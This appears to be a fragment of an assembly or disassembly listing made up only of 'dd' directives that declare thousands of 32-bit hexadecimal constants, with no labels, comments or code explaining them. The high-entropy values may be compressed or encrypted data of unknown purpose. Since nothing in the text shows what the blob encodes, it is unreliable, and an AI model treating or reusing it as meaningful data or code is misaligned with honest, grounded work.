dd 0DA9C240Bh, 272F11F4h, 0ED5810BEh, 0D1800570h, 0A2BB166Ah
dd 44CA0390h, 0C9EE010Ch, 1E7097B7h, 0AC1B00BBh, 6F9CA35Ah
dd 375D56BEh, 287F0158h, 5B7B96C8h, 7B1029h, 7C0F972Dh
dd 2CF0507Eh, 384DA52Eh, 38B23492h, 371B8322h, 0C0C159EDh
dd 4ADC1A9h, 29356893h, 650C819Fh, 215301DBh, 44581C63h
dd 1728E500h, 1A719A43h, 643E4CB8h, 0DC007035h, 0FF6DB37h
dd 0A924E4C2h, 29D05950h, 7A7D000Eh, 5FEFE399h, 342EB905h
dd 0ED6550E4h, 0ED1700C8h, 78C0703Fh, 0FB00A9ACh, 0D7A8BF7Bh
dd 0B0167DF0h, 34AE95C4h, 6C83256h, 10D2E891h, 3D7AF3h
dd 8C20FEBDh, 79D9A51Eh, 0E79BC003h, 9EA364Bh, 6876D2E9h
dd 859C9C23h, 47434900h, 27DC0373h, 0AB8B00D7h, 393532BFh
dd 6419373Bh, 0BE309D7Eh, 698B703Ch, 11538300h, 0F900CA68h
dd 0BC918092h, 1D1C9F72h, 0C12A839Ah, 1535EB7Ch, 0C8B44819h
dd 0BCC9197h, 0CC6AD8h, 0C7495A07h, 32EDE243h, 0B233D51Eh
dd 95E5013Fh, 5A9AD78Ch, 19075462h, 0C38ABFEBh, 9EC0567Fh
dd 0F2FE7293h, 642A330Eh, 5CB0C169h, 0D06051D6h, 9359400Dh
dd 7F9AB83Ah, 5EC75648h, 0DDD70C21h, 16847B08h, 90F380FDh
dd 0A5784168h, 370DB500h, 0E4FF1E09h, 0B84D7615h, 0D4D25098h
dd 417096D5h, 0F1B5C151h, 58203A40h, 123DA2DBh, 1FD7819Dh
dd 793E22CCh, 3317145Fh, 37EB80E8h, 2E45A674h, 155301Ah
dd 986742E6h, 22D3FCADh, 3FE0C353h, 8E383A05h, 0E0D45CAEh
dd 3D529386h, 5F210382h, 889AF7BCh, 807CD952h, 8217FE10h
dd 58D60445h, 91B55B83h, 0D4B88C10h, 0C5C07C6h, 0C3728D0h
dd 4B036B0h, 819AAD39h, 0FD99A233h, 0E8749854h, 1EB0A10Bh
dd 3862448h, 0C06F0E97h, 890223FBh, 98467DBEh, 478CE18Bh
dd 0D18602CAh, 849610DAh, 24CC3A40h, 49A80BE2h, 680CB186h
dd 590A02AAh, 0E85B260Eh, 5FA51860h, 76BF0036h, 969B2F66h
dd 1E0044CBh, 1402A2B5h, 9C215B82h, 209C167Ch, 5D768614h
dd 7F7ED500h, 3529E74Bh, 9F74F5h, 61929CADh, 0DD011BE2h
dd 0A186AC20h, 0E9806C18h, 2EA7DC37h, 51CE8E9Ch, 8053A907h
dd 226D4E9Ah, 1AC7719h, 11FA326Fh, 0DC2F7975h, 7D0EBC29h
dd 40C8454Bh, 2DA6A88Ch, 0C960BA3h, 48228DE7h, 2460D7FDh
dd 4896972Eh, 0BD28C0EBh, 0C0A41AAEh, 2C879117h, 28C00B56h
dd 1F1C55E6h, 0AD15A382h, 0C07A2E60h, 440C3162h, 80425C60h
dd 437F80DFh, 0E61EFAC4h, 8ED13607h, 844F02A3h, 6CE48772h
dd 0BE243E5Eh, 0C4E14225h, 0AC3C0DD7h, 0C227E5C4h, 0DD115364h
dd 0DE4D9510h, 4B8A1F00h, 487FAD5Dh, 5645029Bh, 0ABE53812h
dd 1101FCAFh, 3E5FED31h, 3072BC41h, 8C4525BBh, 0E033A489h
dd 0BC143200h, 0AE1ED224h, 457FDA00h, 0D9A3E413h, 253AE3F8h
dd 0E78C306Ch, 5C58D26Dh, 7AA4D02Ch, 23EF3400h, 323A1B05h
dd 0E035548Eh, 0C418B529h, 0E6009B2Eh, 0F1F5158Ch, 721225F3h
dd 23750437h, 0E8A3B9BBh, 5A68801Ch, 73AAAB4h, 1D180C67h
dd 0BAE930C9h, 0CF58BE7Ch, 1C274A29h, 599BDEA0h, 0AF390741h
dd 0E0A2311Fh, 4D53909Dh, 1395813Ah, 54B2F65Ah, 9D0D729h
dd 81FD365Ch, 0F134DAFFh, 0FC01D463h, 394BB50Dh, 594220F5h
dd 0C9F800Eh, 32C3078Eh, 0DBC06250h, 9CC24A5Bh, 0A9007FE0h
dd 769D5550h, 554FD5A0h, 4DEB077h, 0FD5521ABh, 9CC04C57h
dd 1C4A9D42h, 0CE458C7Eh, 11C9507Dh, 0E207746Ch, 0D8879D7Ch
dd 29F0C41Bh, 1290C347h, 3DD0E25Ah, 78F5805Ch, 0BBBF1545h
dd 24100A1h, 0F8FB2EC6h, 0F12D1953h, 36A0107Fh, 0D61B00C2h
dd 89F27413h, 9FE2F42Ch, 0F36ECF00h, 47B63310h, 0BA010006h
dd 9E3AAED2h, 0C8A424D1h, 0AF003777h, 2C02B942h, 13BB453Bh
dd 0F4FDC0B6h, 0EB443188h, 2C41004Bh, 0C3699387h, 0A400531Dh
dd 7EDDF89Bh, 558F698h, 0F4ADBA17h, 0D69423A7h, 13DD8C00h
dd 0BF57F7DBh, 0A3722E91h, 0C2510874h, 0D7897D80h, 3C8AA2ADh
dd 0B91287FAh, 158804E2h, 0F014CD55h, 0AC00D3D7h, 24E02CA2h
dd 421428h, 0C7FE06CDh, 0BB326C2Dh, 0F8D8224Eh, 0F9748657h
dd 247E1188h, 40B89D78h, 0C657BB8Fh, 8BEE1700h, 23F1F31Dh
dd 0CF2A05BDh, 8C1987EBh, 0C327A9B4h, 0C04044B5h, 0BC26D15Ah
dd 2B986821h, 37394F07h, 61B2E35Fh, 0BDF451FBh, 9C3BDF84h
dd 0D134C27Ah, 0A2F80913h, 0D4F159EFh, 0D21F4824h, 3330112Fh
dd 0FD00AC29h, 51524401h, 410E5FE3h, 207E15ADh, 0AB405A2Eh
dd 22A409B4h, 18D984BCh, 0E865CF03h, 0ABD4A853h, 0CE8C0DD1h
dd 0EC712021h, 0F902DB2Dh, 0DD30DEBAh, 4054DC28h, 8E866740h
dd 0EB13B7F6h, 0D8E25D94h, 0AE4B5300h, 6B0DCC01h, 3D3A8D00h
dd 0D1BBFC43h, 10910704h, 497CB2D5h, 280900F0h, 0FA505388h
dd 2BE7AB0h, 0FCA37F54h, 0CDE4DDCh, 0AB30F791h, 0D188FEF4h
dd 644E49ECh, 9A6387EBh, 706427E4h, 4A0F3500h, 0B71BF3FCh
dd 8A9F22F1h, 0EB674F00h, 3A782BC4h, 5F4007Ah, 0D010C79Ch
dd 7724D475h, 0B5048F0Ch, 3884DF61h, 4F8708A8h, 3347A0E3h
dd 26006906h, 0A5A63682h, 4D6D13Dh, 0BB2C9884h, 3874CC28h
dd 0C3E65007h, 0F6A0E47Ah, 17564B51h, 94E2903Ch, 9EA03050h
dd 8001329h, 3915B1B2h, 7562BECh, 112545D4h, 14F5226Bh
dd 1198DC41h, 302F7988h, 3AF17B6Ch, 0D59FD402h, 0DE4236E3h
dd 0B62AE2FCh, 6C525302h, 2812BD64h, 0B5BE6C81h, 99787984h
dd 3009FF11h, 0FD5AD79Ah, 0E420A817h, 1FD40F09h, 739250h
dd 892952FDh, 0F912D6E6h, 0E000BB5Fh, 0B56B8A6h, 5B90BC38h
dd 0A1D69011h, 0EA2E16h, 0CB065650h, 0E09E43E3h, 82336E02h
dd 873C81D5h, 226FFAD9h, 68DC5A7Ch, 0D086DC62h, 0A4E92248h
dd 0DE878816h, 25803CA2h, 7863A857h, 0F70E49F8h, 80289C0Fh
dd 0E7A0F01Ch, 3ED60E1Dh, 4F30D5Fh, 199613DCh, 5C085280h
dd 9EC23899h, 3F405AF3h, 740036DDh, 26C51F05h, 157A338Eh
dd 626EFFEh, 0E10143D3h, 0FFFBC0F5h, 0CCC0B82Dh, 0F6378538h
dd 1304C6E6h, 0EA57A504h, 944898A8h, 46534A0Ah, 0B5A70BE8h
dd 5FCAEC63h, 2E510706h, 394DDE6h, 86C1B785h, 0A0E4E8DDh
dd 175D4AFh, 61291BF1h
dd 0FCCF79F7h, 0B11D0615h, 5745BF5Ch, 0BF845EFFh, 7B808804h
dd 25C87824h, 4CC9A783h, 0D3221F94h, 7FD442FAh, 0F8A67177h
dd 0E4203179h, 7E10FCC5h, 73110919h, 0F450DC35h, 9886DE03h
dd 4E3DDA87h, 0A1548829h, 79CD8300h, 0EF7803B4h, 9D989CFFh
dd 40C06686h, 71EB5B5Ch, 372E800h, 0B5487C42h, 8CFB2AE6h
dd 0D8770388h, 0C9479D99h, 0A3222DE0h, 786D0500h, 4BC4043Dh
dd 1CF891Eh, 6F00954Eh, 0D8503E17h, 0DB5D92C0h, 80C9C3F0h
dd 7C2FD8D0h, 98AA178Ch, 2A14886Eh, 17EE288h, 13F2284Dh
dd 20B638BBh, 0A11E198Ch, 3D58B0h, 0ED1FC65Fh, 0A8942A5Ah
dd 1E717B8h, 5057A352h, 3D98B15Ch, 0A0358EF8h, 0D8B4E710h
dd 236C00F7h, 0DA6D8AB6h, 0BC0BF547h, 481EF35h, 0B8E962B2h
dd 80DF5910h, 642E1114h, 0A690CB35h, 0FFD4AC98h, 2473B200h
dd 8728EED8h, 994305B9h, 0A45B8FE6h, 0A5E855E0h, 0C5D89Fh
dd 0DDA9D539h, 0B558C791h, 180D5C01h, 0E824D234h, 519C318Ch
dd 0EF0B5B61h, 0E8A1C7CBh, 2C487FC8h, 1734B4A5h, 0A040C238h
dd 477CF0C4h, 0BB0CB01Eh, 0C290AA00h, 2FC9A902h, 0C31F976h
dd 77D21006h, 8290966Dh, 9ECC41EDh, 4B0510h, 2CABD51Fh
dd 54D878FAh, 12096700h, 0C4E56149h, 0C8285E7Ch, 84B6BB58h
dd 5A03D941h, 0FB64312Bh, 81801755h, 0A9677D32h, 7C6933B8h
dd 7355017Dh, 169F0C9Eh, 0B8EC20D9h, 0A30E0503h, 0E25BE430h
dd 80848F94h, 0BCC149B9h, 5C51256Ah, 860068E4h, 34A296ABh
dd 5B875DE7h, 88A48394h, 198C812Fh, 407F5B18h, 0EB743D10h
dd 28008DDCh, 43FDD96Ah, 0C31517h, 9425D3E2h, 48AD85C5h
dd 8C5F502Eh, 2078E84Dh, 4CC88DD6h, 38004080h, 25688992h
dd 0B93D541h, 7F2B53CAh, 8E003CF1h, 83820901h, 0C99B18CEh
dd 1A6650BEh, 88A4DB24h, 0D9270339h, 2DD80B15h, 0F0404C71h
dd 7C40A249h, 0CE90146Fh, 53824483h, 5882DC56h, 4C7458FFh
dd 4847CB51h, 0A1918028h, 0F24F86CAh, 486EC126h, 31526502h
dd 5D0E434h, 3C7B0B2h, 9277C0C9h, 0BF005DC3h, 0A6C2DA2Ch
dd 144EF776h, 3451EFD3h, 0C435EB00h, 5A6059D2h, 4282DC96h
dd 0D4E4286Ch, 9F40830h, 0B9600826h, 8533Fh, 43E63C5Bh
dd 0DCFAE50Eh, 0EBA474F9h, 30A6C898h, 86D15B07h, 0B889D5ADh
dd 1D09994h, 0EFC65D7Eh, 709F2259h, 0B09EE15h, 9955E647h
dd 5C288604h, 18BC838Ah, 55E5615Bh, 0DC688C2Ch, 0C4383D00h
dd 0C317B87h, 0D55B8454h, 1B0993D9h, 1495101Fh, 464938ECh
dd 0F47E7A82h, 0CE49882h, 0B9EBDB22h, 81FE00BCh, 0FAB385F7h
dd 0F6305900h, 2EE1F537h, 7DD702E6h, 7C882D46h, 10A368E9h
dd 0B66A41D2h, 0A4C8A724h, 8800E8B8h, 7FFD329Dh, 145AEE0h
dd 5255A772h, 48A4FE14h, 0E5FB84A8h, 8AC450F2h, 230D97Fh
dd 9519C159h, 260787Bh, 27FCA328h, 467E737Fh, 0D3357000h
dd 9838B81Ah, 46F00028h, 492847B5h, 450E7CC6h, 45D25F8Eh
dd 94255B4Ch, 88C2948Ch, 0B8A417D9h, 3282E63Bh, 5E371157h
dd 0F28E41D0h, 116B6024h, 0C6C0707Bh, 6BACDC1Ah, 98BC4C38h
dd 7C00B63Fh, 7B833750h, 0B528B97Dh, 537BCC5Eh, 2D709F5Dh
dd 84E428h, 0BA59F6DBh, 7ACE2BD2h, 8D76A37Ah, 0B23943Bh
dd 0D88779FAh, 1059487Ch, 0DB98C9C0h, 0A400376Fh, 868B01DDh
dd 0AB189B7Ch, 0E1D5B9C4h, 4088319Ch, 437CE038h, 0B502A6B7h
dd 0D836FAA2h, 0B50D128h, 0A80ACB0h, 1FFC559h, 0CB314100h
dd 1D07E135h, 0D0344B25h, 0A8E95A8Ch, 37D74800h, 62EC5CC0h
dd 231A0003h, 6333AF22h, 0BB082CC7h, 29814F4h, 0DEE1646Ch
dd 0B70150D1h, 37A347E9h, 0B5286429h, 519E24D8h, 0F6846048h
dd 6200893Eh, 0C8ACFADAh, 6EDAA12h, 0FB1A4AFCh, 0B26619Eh
dd 6660EC46h, 1304994h, 9A72F8B8h, 22CFAA55h, 0D4D624B4h
dd 0E8958h, 0DE5C6FD4h, 0FD470F10h, 0D9CE5A04h, 88BC54F9h
dd 2407B88h, 176F7C41h, 0E255ED2Eh, 21E033DCh, 355FE117h
dd 966F1982h, 0C05AFB18h, 0E369BF02h, 5735E7B8h, 0F9900B61h
dd 4A54784Fh, 0E233D420h, 7C8EAB6h, 239E75E6h, 0A39BA0ECh
dd 43251902h, 585CC4C5h, 0FD2762E1h, 552204E4h, 803C992Bh
dd 0DD5D95B7h, 0F000F20Bh, 9C92BEE0h, 2FD4D3Dh, 42CEC346h
dd 54604C85h, 1453D9D6h, 0A9830F80h, 0C31A0218h, 8190C034h
dd 24119584h, 0E974E8EBh, 388B3B1Fh, 96ECF444h, 0FA80E4A9h
dd 83FD05FBh, 0BC6CFF0Eh, 0B7F0A066h, 0EA8A241Bh, 0E9192981h
dd 746827D0h, 0D000FFE8h, 6A150D9Fh, 0EABB5F2Fh, 13BA0001h
dd 0B238005h, 5A4E9D71h, 0E6281840h, 6E301ACh, 2C9E128Ch
dd 0D72261CCh, 3EC98D9h, 0A96520AEh, 82D4D45Dh, 0A0DE1E8Ch
dd 576F789h, 0D8DCDEE0h, 5A489655h, 9D801560h, 188020BCh
dd 78D73A1Ah, 6B06007Bh, 4D52EA4Fh, 0F33BB145h, 28D90A2Ah
dd 0FB89B4FCh, 80F45386h, 37D5D8C5h, 0AF00D380h, 4A3C17F0h
dd 5884FA44h, 0DA0AADEBh, 0A5C4E6F3h, 0D3B000C0h, 9C2748B8h
dd 46C4E8A1h, 42DD02D9h, 0D487711Eh, 0A300D0D9h, 7A8F1B4Ah
dd 0F39E2238h, 67E7DF1Fh, 52BB00FEh, 8143B6E6h, 0CCC149D5h
dd 0A25CD212h, 0C2E3801Ch, 0A0B828h, 4890DDB3h, 30AB7E4Eh
dd 72D4F70Fh, 821E61FDh, 0F049EFDCh, 5C7100C7h, 8CD4CDF0h
dd 0FD01FECAh, 5D9872B3h, 884C9508h, 151A0024h, 0D33E69AEh
dd 66008C65h, 554EA1B1h, 260C491h, 4BBE88E3h, 0F8569F54h
dd 0AB019440h, 103C007Ch, 0C4D87F04h, 0BF019A96h, 64282CC8h
dd 27E8447Ah, 0ECD258A3h, 6DD5E180h, 3245DA82h, 8C2E77F9h
dd 0F00056E4h, 0A248EA16h, 2C3904FDh, 3C68E41Fh, 7F55B589h
dd 0E0030C59h, 0C072601Ch, 7389A1h, 872FC4ABh, 51CBBE1Ah
dd 9E59380Eh, 0D6940007h, 9519826Ch, 0BB287CECh, 0E112F454h
dd 90E708FBh, 669CDC00h, 0D8FA05F2h, 9AF31601h, 0CC9F63D3h
dd 9CF8077Ah, 21D64075h, 8E12A26Ah, 6420F446h, 990C49Fh
dd 0E05C33B9h, 0A8C6D4A9h, 67323707h, 781394ABh, 1CC2F007h
dd 49391F9Eh, 1ABB413Ch, 0D4482E41h, 9BB527A8h, 0B3E9B83Ch
dd 113C001Eh, 4D12AF39h, 0D89209C4h, 0E58544h, 180A4446h
dd 8A1936D9h, 0F3F1E400h, 0A8D3615Dh, 874704FCh, 0ABEFAF11h
dd 1C169430h, 0FED92FA0h, 47BEA020h, 8E007223h, 0D18CA3CDh
dd 5E86C01Ah, 39C4CCDEh, 40302F4Ah, 4B5BFB8h, 2A8279E7h
dd 8018BC3Eh, 0EEE42943h, 0CF95006Bh, 1D8C71Ch, 0EA0225F5h
dd 0AA2A10B2h, 8764C14Ch, 4C64C84Ch, 94007760h, 0F4270B02h
dd 0B0099E1Dh, 8443E96Ah, 0E2455BACh, 284309Bh, 6006825h
dd 0E4CFE09Ah, 3CB1163h, 4A605A5Fh, 9EB84E1Eh, 5491FCC0h
dd 3D92F82h, 62987953h, 0D7205F01h, 2E166EF3h, 0C2788218h
dd 0B8E17EE2h, 80F8148Ah, 0E95FF980h, 581F2FC7h, 7BC56709h
dd 78B99A74h, 0C2AF44C5h, 8CD983E4h, 0A2E8003Dh, 0BD48E929h
dd 0C918EE33h, 0BC7AFC90h, 14575327h, 7BE300A0h, 15705D9Eh
dd 0CA25DE37h, 9F88CE41h, 942FC030h, 5006C014h, 69598880h
dd 0CA3FAC51h, 401820E4h, 7D2C88A4h, 0D1606079h, 3DCC463Eh
dd 3D047123h, 0AC84EF82h, 99D6044Ch, 0C486115Eh, 53801318h
dd 21E4E25Fh, 6E106015h, 2100A891h, 0AD409CCEh, 0B0CB5189h
dd 1D9F0F3Ch, 0FF6EE0F3h, 56E920E2h, 0F6830C5Ch, 0B8B12D5Fh
dd 781E82A3h, 0C97262D1h, 0B041AA37h, 39002C02h, 1CB64A50h
dd 79CE9900h, 7D7666C5h
dd 46B8DE01h, 0EA17FB1Bh, 3C000473h, 0AECFABCh, 4B50839Bh
dd 4F72E1B5h, 26195602h, 40EB61F2h, 2D82BE84h, 3C389269h
dd 6C0118D3h, 0AE99D137h, 9854B5D2h, 19F020BEh, 0B700BE23h
dd 370F0DC2h, 1D62E71h, 513A4010h, 7CE814E7h, 188918h
dd 12ECC5A2h, 387A7045h, 3080F3B3h, 540C6971h, 99B740D2h
dd 960C5F54h, 59D22B14h, 7C305A10h, 979FA37Fh, 0D5E6E8C8h
dd 37124C9Eh, 8580DCh, 0CB39FB16h, 5B01D2FDh, 2B6D13Fh
dd 0F4B79DDAh, 0B6C8D01Bh, 0A0004E4Ch, 628B9054h, 63090201h
dd 949F5652h, 0E9802838h, 1C4008ADh, 34E6A100h, 58503CF1h
dd 91422AD2h, 0E38F13C8h, 0C8FC121Fh, 450B8804h, 0B0DF5811h
dd 2C5DE510h, 1D4884E9h, 803B2124h, 719843F3h, 96545B7Ch
dd 0E0A69578h, 4B8BE30Dh, 1855F2C1h, 2F15844Ch, 0A8AF0DDEh
dd 96C3AEE1h, 0E34C3049h, 0A0698113h, 8D381020h, 0A42A0363h
dd 837D1D6Ch, 86966988h, 0F6BFCD00h, 0A3AB11ACh, 0B80202DBh
dd 435B5379h, 2E017C5Ah, 18ED7CBCh, 0D02BDBE5h, 0D586DEB8h
dd 0B0C3BB2Dh, 134F0260h, 304E434h, 89830DBCh, 0B820505Bh
dd 70BBEB14h, 0D19B00B3h, 56B5C751h, 31227C81h, 0DB9207D6h
dd 408729DAh, 64D4798Dh, 22D12F09h, 846004DCh, 0F459A0C2h
dd 6A3E71A0h, 0A75C2C44h, 85E00852h, 0A48178A9h, 0EA58BCDAh
dd 0F4F0DC28h, 0DA049402h, 0D29FFE0Bh, 0EC80B8FCh, 0E39AE14Bh
dd 52536400h, 49CD2C88h, 19FB7D1Ch, 3075BB93h, 3702CA0Bh
dd 6AD89134h, 1115DF0h, 9D30710Ch, 48C3A9D1h, 5526E184h
dd 2D1C6449h, 0D0341481h, 607031AAh, 213716E6h, 0D5900222h
dd 0D204C349h, 0E892A0ECh, 72FB80C0h, 0AC1E24Eh, 0CCCA64FCh
dd 568160D4h, 0A5768385h, 7DD57005h, 20CD5829h, 0D345F4h
dd 106F94Ch, 0C6976E89h, 0D19AFB1Eh, 0F4AD6180h, 5B5ED2F6h
dd 0CDD4C87Ch, 9B234B1Eh, 0B5AE7D80h, 3A884F36h, 6C14DDE5h
dd 0F7256CE4h, 6E4BB4C8h, 18098000h, 0F26DEE31h, 0BA2200EAh
dd 21E172A9h, 98077050h, 7135734Ah, 5705C0B7h, 0D980ACE3h
dd 0AC37DEF6h, 56A2B227h, 0C002550h, 0D122D294h, 59E6AE7Ch
dd 6A089B1Fh, 7412F4D2h, 6FB898h, 4893D7ECh, 2AA78C91h
dd 630045FAh, 274401F2h, 26994B28h, 2433FE34h, 466F602Ch
dd 621F6D02h, 4C2EAFBh, 594956D4h, 69BE80B8h, 51B99AB0h
dd 36D1C007h, 0C4B97C49h, 92A00020h, 0FC111F7Fh, 3700558Ch
dd 435D3612h, 0F75F0B4h, 5E7980D7h, 58987C29h, 8700FBBEh
dd 352C6ECEh, 42AE4FFh, 0D268D47Ah, 0D224ACDFh, 6D001AFCh
dd 0C646AB1Fh, 5725263Fh, 0E98D828h, 83F8D9DEh, 655E2F91h
dd 6D373C5Ch, 0F050E060h, 0C35ACC85h, 101C0891h, 0A07C46F1h
dd 6263F980h, 0A00E747Ah, 0CF31FCh, 6AEE1D11h, 0F92300D4h
dd 6C49BE37h, 5C265D53h, 0F70B1DA8h, 235800CAh, 0EBE94C3h
dd 7D57F144h, 1DB94300h, 490462BFh, 9250847Eh, 0DE9378D2h
dd 0B5B905CCh, 1028C844h, 18F3A62Ch, 70865D60h, 0F1701Ah
dd 0A8073A27h, 7E734C0Ch, 0ECF4400Dh, 8C635094h, 0F3B45201h
dd 0BE3B29DBh, 0CA2AB876h, 43D1BCC1h, 0D5846066h, 3C33AF8Eh
dd 0D8FFE0E1h, 7618027Dh, 73CF2428h, 2C4034FEh, 97FA57EDh
dd 7102FC96h, 0F3D13549h, 780525Ah, 55F0203Ch, 44803F1Fh
dd 6C821815h, 0EC4697h, 0BFE1461Dh, 18F29577h, 6E12BA00h
dd 9E431B4Dh, 5CC4885Eh, 0BDD65A17h, 64A2D016h, 0A901CC00h
dd 6C69782Eh, 0A01FF916h, 1A99ED04h, 1B5088Ch, 607F7D24h
dd 0F8D501BDh, 64F8C8Bh, 114AE40Fh, 61D4884Eh, 4E9238h
dd 0EE0C26C6h, 122F465Ch, 1F0F91BAh, 53BF80F3h, 458B1766h
dd 9C5B512Ch, 9420F71Dh, 7D83610Ch, 80A47879h, 8BED449Ah
dd 54210165h, 0C10B416h, 4C82B50h, 106F60Eh, 1E2D1D9Ch
dd 0C82F3DB2h, 8F00C008h, 67507FCEh, 4A8E6A0Fh, 80105F9Dh
dd 1C5C1F7Ch, 0BD00931Ah, 6443B9E0h, 218EA11h, 0A2A4E3ECh
dd 905DA99Fh, 0B18F51D0h, 0AC6B4B4Ch, 42806EFBh, 0F4069082h
dd 0FE5FEFD7h, 6784BC29h, 58D85BE5h, 408A5A74h, 461D168h
dd 0F4B5A874h, 368A489h, 48BE5B44h, 0E04B182Ah, 0ED223868h
dd 0A061955Dh, 42387045h, 99CE049h, 7E6C18D1h, 0F1D74070h
dd 0B974C9ADh, 0F27592EEh, 0D97FA4A8h, 7C15CE01h, 0D06DAD43h
dd 5F65E470h, 0EB3088D7h, 84ECB21Eh, 8E07A457h, 0C5C5368Fh
dd 84B4D853h, 0F82284E5h, 0FBE21355h, 10C84596h, 6DD888A0h
dd 1A225B00h, 577C0F0h, 0A3921EDEh, 6945C271h, 0E0E8BDC1h
dd 86EECBE1h, 0C259DC16h, 1FD4898h, 8EE6B0F8h, 2BA3E073h
dd 9932C8Ch, 3FD87714h, 70E79041h, 792E8A4Ch, 7AC4E887h
dd 8F887038h, 342F9531h, 0C816488Bh, 750E5707h, 3BC1EFC7h
dd 0F472A33Dh, 2FB0884Ah, 7BD00B07h, 0D8E16E2Ch, 57708363h
dd 0B5BA024Fh, 42EEC4E0h, 8B67066h, 1780D165h, 0D47094h
dd 0EE1EFBCDh, 9B5679F0h, 0DCAF117h, 7D9CB020h, 3091005Ah
dd 5D1AE37h, 0B548E1EFh, 0B638017Bh, 121F185Ch, 0E0D5F443h
dd 329CA261h, 0BEB084E4h, 2E3024E6h, 80B086D1h, 40F81E13h
dd 527C5689h, 90F8A028h, 0A0E6DE40h, 1158889Ch, 1EA25FD2h
dd 0F325D386h, 0FBB38098h, 46C73D23h, 441C8402h, 827E959Ch
dd 7729C6D0h, 3401D40Bh, 337F5739h, 65A900B4h, 0C924F896h
dd 9B400C3h, 0A26E83C1h, 9D019BC2h, 449EDB1Ah, 0D064B5DCh
dd 0A5544B53h, 80003CACh, 0A899EE89h, 0CF8B0060h, 15965A24h
dd 2AEB9F46h, 994598C8h, 0D04E3E84h, 63690714h, 7C546E00h
dd 255A4419h, 22C49010h, 0D93EC05Ch, 0CCD4A14h, 6054C8A6h
dd 0B728824h, 0F3A93F00h, 0F25D173Dh, 41DB186Bh, 7EE2B92Fh
dd 0C1AC284Ch, 63BC1C0Fh, 3A2ADCh, 0DABEB808h, 0CA470D5Ah
dd 0EB929F04h, 0F4F49D64h, 0CA77281h, 333C89F7h, 0DC0314EAh
dd 449B5ECh, 61CCE220h, 9C296A5Ch, 55B84DC0h, 9201DCD3h
dd 8FE4621h, 34E430A2h, 0A53E172Bh, 28904905h, 980E74C4h
dd 409A6F9Fh, 0D238DCA9h, 195802B6h, 34D8A8A1h, 8F3AF050h
dd 0F0A42777h, 8DD52EBCh, 40DD6478h, 0D138F99Ah, 17A1009Fh
dd 86C5EFBDh, 109CE2D5h, 97F4EEh, 3D167AD8h, 0E1F2A5Fh
dd 0E57BDA98h, 88561B89h, 1C3D6F40h, 712C09EEh, 30FA5AA4h
dd 0B1B876F4h, 661FB31Ch, 35D1987h, 0B5D0E421h, 54625D61h
dd 0D989D449h, 0E617F8E4h, 54521046h, 0EDE034BCh, 0E000D23Eh
dd 0F5B90EA7h, 2B2A9DDh, 0A4556F05h, 471E817h, 0D0ED370Ah
dd 0A8F28213h, 27E37178h, 2CE0D55Fh, 45000441h, 0DE157CC4h
dd 60A7FBE6h, 380B8090h, 0C07D9BE7h, 70DC834Fh, 54FAACh
dd 74EA19E4h, 88265B21h, 8046783Ah, 730950A1h, 5261D72Bh
dd 74001CFBh, 0BE8979E1h, 0F700C59Fh, 15D6B40h, 28AAACBh
dd 487DC44Dh, 88DE28D5h, 0C0099E13h, 0E0DCFC53h, 0ED298FB1h
dd 0B31B55Ch, 0F8747F7Eh, 0E7087C94h, 0BA29420h, 0BA4582E6h
dd 98B51802h, 8BC3D000h, 1BD7E84h, 69261E28h, 0D8BB0B7Ch
dd 933B2C54h, 4C204A44h, 48479Bh, 9F684C9Dh, 4E46B718h
dd 0CD32CF0Bh, 61738BBAh, 0C1D2CE18h, 8C73C090h, 67414F00h
dd 0E338E198h, 0F186271Dh, 5C01AAC3h, 0D22FD0CDh, 0F32D4A42h
dd 0A00D0874h, 1D418251h, 2CE34836h, 0D28B301Eh, 245B5588h
dd 91C960E8h, 7100617Fh, 0D120A15Ah, 773BF66Ah, 0C13D0454h
dd 0FE6C1F17h, 0E8DCBC21h
dd 6864F412h, 93667338h, 0F805391Ah, 92C06A4Dh, 3D186CF6h
dd 63B149E7h, 3CDA86A9h, 78B09364h, 0F8C48BA3h, 4A9680B4h
dd 0EC933A8h, 4C21422h, 90ADD9C8h, 16BA8950h, 0B17114B3h
dd 0ACA8C4B0h, 2A3D907h, 0FE548296h, 5B1034B2h, 8087888Fh
dd 8A15709Fh, 5800CC45h, 0E3B4797Eh, 3D7A9DBh, 0BEBF40EBh
dd 7100C0F7h, 2932D435h, 7156BF5h, 6F7B8055h, 933B4316h
dd 713001C1h, 0F4983E84h, 8CF75E61h, 0AC1C87C4h, 578103EEh
dd 0CEA61E64h, 259995F8h, 90592629h, 0C9B2E101h, 1EF4A58Ch
dd 92580085h, 9EFE775Dh, 749088F8h, 0C026C90h, 7CA4185Fh
dd 0D1586226h, 370B0AE8h, 1DA9138Ch, 474A0FEDh, 0D08143ABh
dd 2E287C49h, 769FBC8Ch, 0D48100CBh, 51E5A718h, 0AB390164h
dd 21590283h, 539FA29Eh, 0FFDE08E8h, 0C204A0A7h, 9A355Bh
dd 5F48AC7Ah, 684D6B78h, 0B5F5B800h, 0BD23575Dh, 87BE25BBh
dd 3E8218FBh, 517C2DFDh, 0F73000FCh, 926A4B20h, 4E164000h
dd 0A9CF6CC1h, 6F7F1221h, 0F0B22Ah, 92E4BBB5h, 486AC7h
dd 4AA3292Ch, 0B2D58B16h, 4B55EF3Bh, 859F74D1h, 0E8BE7987h
dd 888AD3EAh, 0A178CA90h, 4637B000h, 68587CF0h, 87189125h
dd 807403FFh, 507F4305h, 0AC1D9E00h, 0FEB38E98h, 0D3380925h
dd 2C446C20h, 93C2E01Fh, 49C3B040h, 170AE1Eh, 0EE316A2Ah
dd 78B63E32h, 0E430D65Ch, 2FA35ACh, 0C75B08E3h, 54F2DBE8h
dd 1DC5B720h, 80CF737Fh, 9D104B22h, 34492DC2h, 30574C84h
dd 48DF295Ah, 980F5CC4h, 0D1E05104h, 8C1CC85Fh, 11E028FFh
dd 0D00D034h, 0EA6E3D07h, 0AF025872h, 0E28774EFh, 4000D61Ah
dd 4D3F3C51h, 93CA8400h, 0A4DB31A0h, 0ECC00E5h, 0D286A324h
dd 0CCB5C8EEh, 0A8F0D4h, 453C882Ah, 8C51905h, 0D2ED0C1Eh
dd 0F256318Bh, 7D7B21D4h, 48875190h, 0A37CD4C3h, 76B32298h
dd 24A3B5E1h, 0A7D59Ch, 145BD272h, 65854900h, 0BFFA2E8Dh
dd 15A4A9D3h, 0C4743Fh, 6ED557F4h, 0E100AD50h, 128C61B1h
dd 263F5C14h, 0C480FD1Dh, 33F0827Fh, 54008CFAh, 0A91E051Ch
dd 9444980h, 0AEA17F70h, 28596807h, 0EB908605h, 98903C13h
dd 1B6B511h, 0DD1CB783h, 0E8486C46h, 921E0B15h, 161D8295h
